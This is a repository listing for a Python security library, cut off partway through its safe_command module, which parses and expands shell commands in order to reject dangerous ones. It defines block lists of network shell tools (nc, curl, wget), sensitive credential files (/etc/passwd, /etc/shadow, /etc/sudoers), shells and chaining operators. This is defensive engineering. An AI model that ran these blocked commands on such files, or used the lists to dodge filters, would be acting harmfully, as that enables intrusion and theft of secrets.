├── .github └── workflows │ ├── deploy_to_pypi.yml │ ├── lint.yml │ └── test.yml ├── .gitignore ├── .pre-commit-config.yaml ├── DEV_README.md ├── LICENSE.txt ├── MANIFEST.in ├── README.md ├── dev_requirements.txt ├── documentation.TODO ├── pyproject.toml ├── src └── security │ ├── __init__.py │ ├── exceptions.py │ ├── safe_command │ ├── __init__.py │ └── api.py │ └── safe_requests │ ├── __init__.py │ ├── api.py │ └── host_validators.py └── tests ├── conftest.py ├── safe_command ├── __init__.py ├── fuzzdb │ ├── _copyright.txt │ ├── command-injection-template.txt │ └── traversals-8-deep-exotic-encoding.txt ├── test_api.py └── test_injection.py └── safe_requests ├── __init__.py └── test_api.py /.github/workflows/deploy_to_pypi.yml: -------------------------------------------------------------------------------- 1 | name: Deploy to PyPI 2 | 3 | on: 4 | push: 5 | tags: 6 | - "[0-9]+.[0-9]+.[0-9]+" 7 | 8 | jobs: 9 | build-and-release: 10 | name: Build and Release 11 | runs-on: ubuntu-latest 12 | timeout-minutes: 5 13 | steps: 14 | - name: Set Up Python 15 | uses: actions/setup-python@v5 16 | with: 17 | python-version: '3.12' 18 | - name: Check out code 19 | uses: actions/checkout@v4 20 | - name: Install build dependencies 21 | run: pip install build twine 22 | - name: Build package 23 | run: python -m build . 24 | - name: Twine Check 25 | run: twine check dist/* 26 | - name: Publish to PyPI 27 | env: 28 | TWINE_USERNAME: ${{ secrets.PYPI_USERNAME }} 29 | TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }} 30 | run: twine upload dist/* 31 | -------------------------------------------------------------------------------- /.github/workflows/lint.yml: -------------------------------------------------------------------------------- 1 | name: Lint 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | pull_request: 8 | branches: 9 | - main 10 | merge_group: 11 | 12 | concurrency: 13 | group: (${{ github.workflow }}-${{ github.event.inputs.branch || github.event.pull_request.head.ref }}) 14 | cancel-in-progress: true 15 | 16 | jobs: 17 | pre-commit: 18 | runs-on: ubuntu-latest 19 | steps: 20 | - uses: actions/checkout@v4 21 | - uses: actions/setup-python@v5 22 | - uses: pre-commit/action@v3.0.1 23 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: Unit Tests 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | pull_request: 8 | branches: 9 | - main 10 | 11 | concurrency: 12 | group: ${{ github.workflow }}-${{ github.ref }} 13 | cancel-in-progress: true 14 | 15 | jobs: 16 | build: 17 | name: Build Package 18 | runs-on: ubuntu-22.04 19 | timeout-minutes: 5 20 | steps: 21 | - name: Check out code 22 | uses: actions/checkout@v4 23 | - name: Set Up Python 24 | uses: actions/setup-python@v5 25 | with: 26 | python-version: '3.12' 27 | cache: 'pip' 28 | - name: Install build dependencies 29 | run: pip install build twine 30 | - name: Build package 31 | run: python -m build . 32 | - name: Twine Check 33 | run: twine check dist/* 34 | test: 35 | name: Run pytest 36 | runs-on: ubuntu-22.04 37 | timeout-minutes: 25 38 | strategy: 39 | matrix: 40 | python-version: ['3.10', '3.11', '3.12'] 41 | steps: 42 | - name: install netcat 43 | run: sudo apt update && sudo apt install -y netcat 44 | - name: make bash default shell 45 | run: sudo ln -sf /bin/bash /bin/sh 46 | - name: Check out code 47 | uses: actions/checkout@v4 48 | - name: Set Up Python 49 | uses: actions/setup-python@v5 50 | with: 51 | python-version: ${{ matrix.python-version }} 52 | cache: 'pip' 53 | - name: Install Codemodder Package 54 | run: pip install . 55 | - name: Install Dependencies 56 | run: pip install -r dev_requirements.txt 57 | - name: Run unit tests 58 | run: pytest 59 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | .idea/ 157 | 158 | # Version file 159 | src/security/_version.py 160 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | repos: 2 | - repo: https://github.com/pre-commit/pre-commit-hooks 3 | rev: v4.6.0 4 | hooks: 5 | - id: check-yaml 6 | - id: check-json 7 | - id: end-of-file-fixer 8 | - id: trailing-whitespace 9 | - id: check-added-large-files 10 | - repo: https://github.com/psf/black 11 | rev: 24.4.0 12 | hooks: 13 | - id: black 14 | - repo: https://github.com/pre-commit/mirrors-mypy 15 | rev: v1.9.0 16 | hooks: 17 | - id: mypy 18 | args: [--disable-error-code=has-type,--disable-error-code=import-not-found] 19 | additional_dependencies: 20 | [ 21 | "types-jsonschema~=4.21.0", 22 | "types-mock==5.0.*", 23 | "types-PyYAML==6.0", 24 | "types-toml~=0.10", 25 | "types-requests~=2.13", 26 | ] 27 | - repo: https://github.com/astral-sh/ruff-pre-commit 28 | rev: v0.3.7 29 | hooks: 30 | - id: ruff 31 | # todo: replace black with this? 32 | # Run the formatter. 33 | # - id: ruff-format 34 | - repo: https://github.com/pycqa/isort 35 | rev: 5.13.2 36 | hooks: 37 | - id: isort 38 | args: ["--profile", "black"] 39 | -------------------------------------------------------------------------------- /DEV_README.md: -------------------------------------------------------------------------------- 1 | # Developing `security` 2 | 3 | ## Pre-commit install 4 | 5 | We use [pre-commit](https://pre-commit.com/) to run some quick linting such as `black`. 6 | 7 | 8 | ## Local Development 9 | 10 | Install the necessary development requirements with `pip install -r dev_requirements.txt` 11 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Dani Litovsky Alcala and others at Pixee 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.md LICENSE.txt 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # security 2 | Security toolkit for the Python community 3 | 4 | This library includes a number of code security controls for various application security vulnerability categories. It can be used directly by programmers, but you may have been introduced to it by having it directly added to your code by automation. 5 | 6 | Many of the APIs provided are meant to be drop-in replacements that either offer more secure defaults, harden against common attacks, or at least surface the security questions developers should answer when using risky APIs. 7 | 8 | ## Installation 9 | 10 | To install this package from PyPI, use the following command: 11 | 12 | `pip install security` 13 | 14 | ## Running tests 15 | 16 | DO NOT RUN TESTS LOCALLY WITHOUT A VM/CONTAINER. 17 | 18 | Tests will try to run "dangerous" commands (i.e. curl, netcat, etc.) and try to access sensitive files (i.e. sudoers, passwd, etc.). We do so to test the our abilities to detect and filter these types of attacks. 19 | 20 | While all these commands are devised as innocuous, it is still not a good idea to risk exposure. They also require a specific environment to pass. We recommend using something like [act](https://github.com/nektos/act) to run the github workflow locally within a container for local development. 21 | -------------------------------------------------------------------------------- /dev_requirements.txt: -------------------------------------------------------------------------------- 1 | black==23.3.0 2 | mock==5.0.* 3 | pylint==2.17.* 4 | pytest==7.3.* 5 | -------------------------------------------------------------------------------- /documentation.TODO: -------------------------------------------------------------------------------- 1 | Things to document: 2 | - explain how to create and use a custom HostValidator that inherits from BaseValidator 3 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools", "setuptools_scm>=8"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | authors = [{name = "Pixee", email = "python@pixee.ai"}] 7 | dynamic = ["version"] 8 | name = "security" 9 | requires-python = ">=3.8" 10 | readme = "README.md" 11 | license = { file = "LICENSE.txt" } 12 | description = "The security toolkit for the Python community" 13 | keywords = ["security", "appsec"] 14 | dependencies = [ 15 | "requests", 16 | ] 17 | 18 | [project.urls] 19 | Homepage = "https://github.com/pixee/python-security" 20 | Repository = "https://github.com/pixee/python-security" 21 | 22 | [tool.setuptools] 23 | 24 | [tool.setuptools_scm] 25 | version_file = "src/security/_version.py" 26 | -------------------------------------------------------------------------------- /src/security/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pixee/python-security/a0759f114e25a52b962207aa2f9ff2056f810478/src/security/__init__.py -------------------------------------------------------------------------------- /src/security/exceptions.py: -------------------------------------------------------------------------------- 1 | class SecurityException(Exception): 2 | pass 3 | -------------------------------------------------------------------------------- /src/security/safe_command/__init__.py: -------------------------------------------------------------------------------- 1 | from .api import call, run 2 | 3 | __all__ = ["call", "run"] 4 | -------------------------------------------------------------------------------- /src/security/safe_command/api.py: -------------------------------------------------------------------------------- 1 | import shlex 2 | from glob import iglob 3 | from os import X_OK, access, get_exec_path, getenv 4 | from os.path import expanduser, expandvars 5 | from pathlib import Path 6 | from re import compile as re_compile 7 | from shutil import which 8 | from subprocess import CompletedProcess 9 | from typing import ( 10 | Callable, 11 | FrozenSet, 12 | Iterator, 13 | List, 14 | Optional, 15 | Sequence, 16 | Set, 17 | Tuple, 18 | Union, 19 | ) 20 | 21 | from security.exceptions import SecurityException 22 | 23 | ValidRestrictions = Optional[Union[FrozenSet[str], Sequence[str]]] 24 | ValidCommand = Union[str, List[str]] 25 | 26 | DEFAULT_CHECKS = frozenset( 27 | ( 28 | "PREVENT_COMMAND_CHAINING", 29 | "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", 30 | "PREVENT_COMMON_EXPLOIT_EXECUTABLES", 31 | ) 32 | ) 33 | 34 | SENSITIVE_FILE_PATHS = frozenset( 35 | ( 36 | "/etc/passwd", 37 | "/etc/shadow", 38 | "/etc/group", 39 | "/etc/gshadow", 40 | "/etc/sysconfig/network", 41 | "/etc/network/interfaces", 42 | "/etc/resolv.conf", 43 | "/etc/sudoers", 44 | "/etc/hosts", 45 | ) 46 | ) 47 | 48 | BANNED_EXECUTABLES = frozenset( 49 | ("nc.openbsd", "nc", "netcat", "ncat", "curl", "wget", "dpkg", "rpm") 50 | ) 51 | BANNED_PATHTYPES = frozenset( 52 | ("mount", "symlink", "block_device", "char_device", "fifo", "socket") 53 | ) 54 | BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo")) 55 | BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo")) 56 | BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n")) 57 | BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS = frozenset(("$(", "`", "<(", ">(")) 58 | BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset( 59 | ( 60 | "eval", 61 | "exec", 62 | "-exec", 63 | "env", 64 | "source", 65 | "sudo", 66 | "su", 67 | "gosu", 68 | "sudoedit", 69 | "xargs", 70 | "awk", 71 | "perl", 72 | "python", 73 | "ruby", 74 | "php", 75 | "lua", 76 | "sqlplus", 77 | "expect", 78 | "screen", 79 | "tmux", 80 | "byobu", 81 | "byobu-ugraph", 82 | "time", 83 | "nohup", 84 | "at", 85 | "batch", 86 | "anacron", 87 | "cron", 88 | "crontab", 89 | "systemctl", 90 | "service", 91 | "init", 92 | "telinit", 93 | "systemd", 94 | "systemd-run", 95 | ) 96 | ) 97 | COMMON_SHELLS = frozenset( 98 | ( 99 | "sh", 100 | "bash", 101 | "zsh", 102 | "csh", 103 | "rsh", 104 | "tcsh", 105 | "tclsh", 106 | "ksh", 107 | "dash", 108 | "ash", 109 | "jsh", 110 | "jcsh", 111 | "mksh", 112 | "wsh", 113 | "fish", 114 | "busybox", 115 | "powershell", 116 | "pwsh", 117 | "pwsh-preview", 118 | "pwsh-lts", 119 | ) 120 | ) 121 | 122 | ALLOWED_SHELL_EXPANSION_OPERATORS = frozenset(("-", "=", "?", "+")) 123 | BANNED_SHELL_EXPANSION_OPERATORS = frozenset(("!", "*", "@", "#", "%", "/", "^", ",")) 124 | 125 | 126 | def run( 127 | original_func: Callable, 128 | command: ValidCommand, 129 | *args, 130 | restrictions: ValidRestrictions = DEFAULT_CHECKS, 131 | **kwargs, 132 | ) -> Union[CompletedProcess, None]: 133 | # If there is a command and it passes the checks pass it the original function call 134 | check(command, restrictions, **kwargs) 135 | return _call_original(original_func, command, *args, **kwargs) 136 | 137 | 138 | call = run 139 | 140 | 141 | def _call_original( 142 | original_func: Callable, command: ValidCommand, *args, **kwargs 143 | ) -> Union[CompletedProcess, None]: 144 | return original_func(command, *args, **kwargs) 145 | 146 | 147 | def _get_env_var_value( 148 | var: str, venv: Optional[dict] = None, default: Optional[str] = None 149 | ) -> str: 150 | """ 151 | Try to get the value of the environment variable var. 152 | First check the venv if it is provided and the variable is set. 153 | then check for a value with os.getenv then with os.path.expandvars. 154 | Returns an empty string if the variable is not set. 155 | """ 156 | 157 | # Use the venv if it is provided and the variable is set, even when it is an empty string 158 | if venv and (value := venv.get(var)) is not None: 159 | return value 160 | 161 | # Try os.getenv first 162 | if value := getenv(var): 163 | return value 164 | 165 | if not var.startswith("$"): 166 | var = f"${var}" # expandvars takes a var in form $var or ${var} 167 | # Try os.path.expandvars 168 | if (value := expandvars(var)) != var: 169 | return value 170 | else: 171 | return default or "" 172 | 173 | 174 | def _strip_quotes(string: str) -> str: 175 | """ 176 | Strips either type of quotes but not both 177 | """ 178 | if string.startswith("'") and string.endswith("'"): 179 | return string.strip("'") 180 | elif string.startswith('"') and string.endswith('"'): 181 | return string.strip('"') 182 | else: 183 | return string 184 | 185 | 186 | def _replace_all(string: str, replacements: dict, reverse=False) -> str: 187 | for old, new in replacements.items(): 188 | if reverse: 189 | string = string.replace(new, old) 190 | else: 191 | string = string.replace(old, new) 192 | return string 193 | 194 | 195 | def _simple_shell_math( 196 | expression: Union[str, Iterator[str]], venv: dict, operator: str = "+" 197 | ) -> int: 198 | """ 199 | Handles arithmetic expansion of bracket paramters like ${HOME:1+1:5-2} == ${HOME:2:3} 200 | Only supports + - for now since * / % are banned shell expansion operators 201 | venv is used since env vars can be set or modified while evaluating the arithmetic expansion 202 | 203 | Implementation is based on Bash shell arithmetic rules: 204 | https://www.gnu.org/software/bash/manual/html_node/Shell-Arithmetic.html 205 | """ 206 | 207 | ALLOWED_OPERATORS = "+-" 208 | 209 | def is_valid_shell_number(string: str) -> bool: 210 | return string.lstrip("+-").replace(".", "", 1).isnumeric() 211 | 212 | def is_operator(char: str) -> bool: 213 | return char in ALLOWED_OPERATORS 214 | 215 | def is_assignment_operator(char: str) -> bool: 216 | return char == "=" 217 | 218 | def evaluate_stack(stack: list, venv: dict) -> float: 219 | if not stack: 220 | return 0 221 | 222 | # Join items in the stack to form a string for evaluation 223 | stack_str = "".join(stack) 224 | 225 | # If the stack is a number return it 226 | if is_valid_shell_number(stack_str): 227 | return float(stack_str) 228 | 229 | # If its not a number it is handled as a shell var 230 | var = stack_str 231 | if var.startswith("$"): 232 | var = var[1:] 233 | if var.startswith("{") and var.endswith("}"): 234 | var = var[1:-1] 235 | 236 | # Unset vars and vars set to empty strings are treated as 0 237 | value = _get_env_var_value(var, venv, default="0") 238 | if is_valid_shell_number(value): 239 | return float(value) 240 | else: 241 | raise ValueError("Invalid arithmetic expansion") 242 | 243 | # Main function body 244 | value = 0.0 245 | stack: list[str] = [] 246 | char = "" 247 | 248 | if isinstance(expression, str): 249 | # Whitespace is ignored when evaluating the expression 250 | expression = expression.replace(" ", "").replace("\t", "").replace("\n", "") 251 | 252 | # Raise an error if the last char in the expression is an operator 253 | last_char = expression[-1] if expression else "" 254 | if last_char and (is_operator(last_char) or is_assignment_operator(last_char)): 255 | raise ValueError( 256 | f"Invalid arithmetic expansion. operand expected (error token is '{last_char}')" 257 | ) 258 | 259 | if expression.startswith("-"): 260 | operator = "-" 261 | # More than one leading - is allowed by shell but has no effect different from one - 262 | expression = expression.lstrip("-") 263 | else: 264 | # leading +(s) are allowed by shell but have no effect 265 | expression = expression.lstrip("+") 266 | 267 | # Create an iterator of all non-whitespace chars in the expression 268 | expr_iter = iter(expression) 269 | else: 270 | # If the expression is already an iterator (when called recursively) use it as is 271 | expr_iter = expression 272 | 273 | # Recursively evaluate the expression until the iterator is exhausted 274 | while char := next(expr_iter, ""): 275 | did_lookahead = False 276 | 277 | if is_operator(char): 278 | # Check if the operator is followed by an equals sign "=" (+= or -=) 279 | next_char = next(expr_iter, "") 280 | did_lookahead = True 281 | 282 | # Evaluate the stack and update the value whenever a + or - is encountered, 283 | stack_value = evaluate_stack(stack, venv) 284 | if operator == "-": 285 | stack_value = -stack_value 286 | value += stack_value 287 | 288 | # Reset the stack to only next_char if the operator is not followed by an equals sign "=" 289 | if not is_assignment_operator(next_char): 290 | stack = [next_char] 291 | 292 | # So assignment is handled correctly by the next if block 293 | operator = char 294 | char = next_char 295 | 296 | if is_assignment_operator(char): 297 | var = "".join(stack) 298 | if not var: 299 | raise ValueError("Invalid arithmetic expansion. variable expected") 300 | 301 | # Recursively evaluate the expression after the assignment operator 302 | assignment_value = _simple_shell_math(expr_iter, venv, operator) 303 | if operator == "-": 304 | assignment_value = -assignment_value 305 | value += assignment_value 306 | 307 | # Set the variable to the evaluated value depending on whether it was an assignment or an increment 308 | if did_lookahead: 309 | # Increment the variable by the assignment value 310 | venv[var] = str(int(float(venv.get(var, 0)) + assignment_value)) 311 | else: 312 | # Set the variable to the assignment value 313 | venv[var] = str(assignment_value) 314 | 315 | # Clear the stack and continue to the next char 316 | stack.clear() 317 | 318 | elif not did_lookahead: 319 | # Add the char to the stack if not added during the lookahead 320 | stack.append(char) 321 | 322 | # Evaluate what is left in the stack after the iterator is exhausted 323 | stack_value = evaluate_stack(stack, venv) 324 | if operator == "-": 325 | stack_value = -stack_value 326 | value += stack_value 327 | 328 | # Floats can be used in shells but the value is truncated to an int 329 | return int(value) 330 | 331 | 332 | def _shell_expand(command: str, venv: Optional[dict] = None) -> str: 333 | """ 334 | Expand shell variables and shell expansions in the command string. 335 | Implementation is based on Bash expansion rules: 336 | https://www.gnu.org/software/bash/manual/html_node/Shell-Expansions.html 337 | """ 338 | 339 | PARAM_EXPANSION_REGEX = re_compile( 340 | r"(?P\$(?P[a-zA-Z_][a-zA-Z0-9_]*|\{[^{}\$]+?\}))" 341 | ) 342 | BRACE_EXPANSION_REGEX = re_compile(r"(?P\S*(?P\{[^{}\$]+?\})\S*)") 343 | 344 | # To store {placeholder : invalid_match} pairs to reinsert after the loop 345 | invalid_matches = {} 346 | venv = venv or {} # To store env vars set during expansion 347 | if "IFS" not in venv: 348 | # Set the default IFS to space if it is not set explicitly in the environment 349 | # since it is not always returned correctly by os.getenv or os.path.expandvars on all systems 350 | venv["IFS"] = _get_env_var_value("IFS", venv, default=" ") 351 | 352 | while match := ( 353 | PARAM_EXPANSION_REGEX.search(command) or BRACE_EXPANSION_REGEX.search(command) 354 | ): 355 | full_expansion, content = match.groups() 356 | inside_braces = ( 357 | content[1:-1] 358 | if content.startswith("{") and content.endswith("}") 359 | else content 360 | ) 361 | 362 | if match.re is PARAM_EXPANSION_REGEX: 363 | # Handles Parameter expansion ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} 364 | # and ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} 365 | # https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html 366 | 367 | # Blocks ${!prefix*} ${!prefix@} ${!name[@]} ${!name[*]} ${#parameter} ${parameter#word} ${parameter##word} 368 | # ${parameter/pattern/string} ${parameter%word} ${parameter%%word} ${parameter@operator} 369 | for banned_expansion_operator in BANNED_SHELL_EXPANSION_OPERATORS: 370 | if banned_expansion_operator in inside_braces: 371 | raise SecurityException( 372 | f"Disallowed shell expansion operator: {banned_expansion_operator}" 373 | ) 374 | 375 | var, *expansion_params = inside_braces.split(":") 376 | 377 | value, operator, default = "", "", "" 378 | start_slice, end_slice = None, None 379 | if expansion_params: 380 | expansion_param_1 = expansion_params[0] 381 | 382 | # If the first char is empty or a digit or a space then it is a slice expansion 383 | # like ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} ${var: -1} ${var:1+1:5-2} ${var::} 384 | if ( 385 | not expansion_param_1 386 | or expansion_param_1[0].isalnum() 387 | or expansion_param_1[0] == " " 388 | ): 389 | try: 390 | start_slice = _simple_shell_math(expansion_param_1, venv) 391 | if len(expansion_params) > 1: 392 | expansion_param_2 = expansion_params[1] 393 | end_slice = _simple_shell_math(expansion_param_2, venv) 394 | except ValueError as e: 395 | raise SecurityException( 396 | f"Invalid arithmetic in shell expansion: {e}" 397 | ) 398 | 399 | elif ( 400 | operator := expansion_param_1[0] 401 | ) in ALLOWED_SHELL_EXPANSION_OPERATORS: 402 | # If the first char is a shell expansion operator then it is a default value expansion 403 | # like ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} 404 | default = ":".join(expansion_params)[1:] 405 | 406 | value = _get_env_var_value(var, venv, default="") 407 | if start_slice is not None: 408 | value = value[start_slice:end_slice] 409 | elif not operator or operator == "?": 410 | value = value 411 | elif operator in "-=": 412 | value = value or default 413 | if operator == "=": 414 | # Store the value in the venv if the operator is = 415 | venv[var] = value 416 | elif operator == "+": 417 | value = default if value else "" 418 | 419 | command = command.replace(full_expansion, value, 1) 420 | 421 | elif match.re is BRACE_EXPANSION_REGEX: 422 | # Handles Brace and sequence expansion like {1..10..2}, {a,b,c}, {1..10}, {1..-1} 423 | # https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html 424 | values = [] 425 | escape_placeholders = { 426 | f"{hash(full_expansion)}comma": "\\,", 427 | f"{hash(full_expansion)}lbrace": "\\{", 428 | f"{hash(full_expansion)}rbrace": "\\}", 429 | } 430 | # Docs state: "A { or ‘,’ may be quoted with a backslash to prevent its being considered part of a brace expression." 431 | inside_braces_no_escapes = _replace_all( 432 | inside_braces, escape_placeholders, reverse=True 433 | ) 434 | 435 | if "," in inside_braces_no_escapes and inside_braces_no_escapes.count( 436 | "{" 437 | ) == inside_braces_no_escapes.count("}"): 438 | # Brace expansion 439 | for var in inside_braces_no_escapes.split(","): 440 | var = _replace_all(var, escape_placeholders) 441 | item = full_expansion.replace(content, _strip_quotes(var), 1) 442 | values.append(item) 443 | 444 | elif len(seq_params := inside_braces.split("..")) in (2, 3): 445 | # Sequence expansion 446 | start, end = seq_params[:2] 447 | 448 | if ( 449 | start.replace("-", "", 1).isdigit() 450 | and end.replace("-", "", 1).isdigit() 451 | ): 452 | # Numeric sequences 453 | start, end = int(start), int(end) 454 | step = int(seq_params[2]) if len(seq_params) == 3 else 1 455 | format_fn = str 456 | valid_sequence = True 457 | elif start.isalnum() and end.isalnum() and len(start) == len(end) == 1: 458 | # Alphanumeric sequences 459 | start, end = ord(start), ord(end) 460 | step = 1 461 | format_fn = chr # type: ignore 462 | # Step is not allowed for character sequences 463 | valid_sequence = len(seq_params) == 2 464 | else: 465 | # Invalid sequences 466 | start, end, step = 0, 0, 0 467 | valid_sequence = False 468 | 469 | if valid_sequence: 470 | if start <= end and step > 0: 471 | sequence = list(range(start, end + 1, step)) 472 | elif start <= end and step < 0: 473 | sequence = list(range(end - 1, start - 1, step)) 474 | elif start > end and step > 0: 475 | sequence = list(range(start, end - 1, -step)) 476 | elif start > end and step < 0: 477 | sequence = list(reversed(range(start, end - 1, step))) 478 | else: 479 | # When syntax is valid but step is 0 the sequence is just the value inside the braces so the expansion is replaced with the value 480 | sequence = [inside_braces] # type: ignore 481 | 482 | # Apply the format function (str or chr) to each int in the sequence 483 | values.extend( 484 | full_expansion.replace(content, format_fn(i), 1) # type: ignore 485 | for i in sequence 486 | ) 487 | 488 | else: 489 | # Replace invalid expansion to prevent infinite loop (from matching again) and store the content to reinsert after the loop 490 | placeholder = str(hash(content)) 491 | invalid_matches[placeholder] = content 492 | values.append(full_expansion.replace(content, placeholder)) 493 | 494 | # Replace the full expansion with the expanded values 495 | value = " ".join(values) 496 | command = command.replace(full_expansion, value, 1) 497 | 498 | # Reinsert invalid matches after the loop exits 499 | command = _replace_all(command, invalid_matches) 500 | return command 501 | 502 | 503 | def _space_redirection_operators(command: str) -> str: 504 | """ 505 | Space out redirection operators to avoid them being combined with the next or previous command part when splitting. 506 | Implementation is based on Bash redirection rules: 507 | https://www.gnu.org/software/bash/manual/html_node/Redirections.html 508 | """ 509 | REDIRECTION_OPERATORS_REGEX = re_compile( 510 | r"(?![<>]+\()(<>?&?-?(?:\d+|\|)?|<>)" 511 | ) 512 | return REDIRECTION_OPERATORS_REGEX.sub(r" \1 ", command) 513 | 514 | 515 | def _recursive_shlex_split(command: str) -> Iterator[str]: 516 | """ 517 | Recursively split the command string using shlex.split to handle nested/quoted shell syntax. 518 | """ 519 | for cmd_part in shlex.split(command, comments=True): 520 | yield cmd_part 521 | 522 | # Strip either type of quotes but not both 523 | cmd_part = _strip_quotes(cmd_part) 524 | 525 | if '"' in cmd_part or "'" in cmd_part or " " in cmd_part: 526 | yield from _recursive_shlex_split(cmd_part) 527 | 528 | 529 | def _parse_command( 530 | command: ValidCommand, venv: Optional[dict] = None, shell: Optional[bool] = True 531 | ) -> Tuple[str, List[str]]: 532 | """ 533 | Expands the shell exspansions in the command then parses the expanded command into a list of command parts. 534 | """ 535 | if isinstance(command, str): 536 | command_str = command 537 | elif isinstance(command, list): 538 | command_str = " ".join(command) 539 | else: 540 | raise TypeError("Command must be a str or a list") 541 | 542 | if not command_str: 543 | # No need to expand or parse an empty command 544 | return ("", []) 545 | 546 | spaced_command = _space_redirection_operators(command_str) 547 | expanded_command = _shell_expand(spaced_command, venv) if shell else spaced_command 548 | parsed_command = list(_recursive_shlex_split(expanded_command)) 549 | return expanded_command, parsed_command 550 | 551 | 552 | def _path_is_executable(path: Path) -> bool: 553 | return access(path, X_OK) 554 | 555 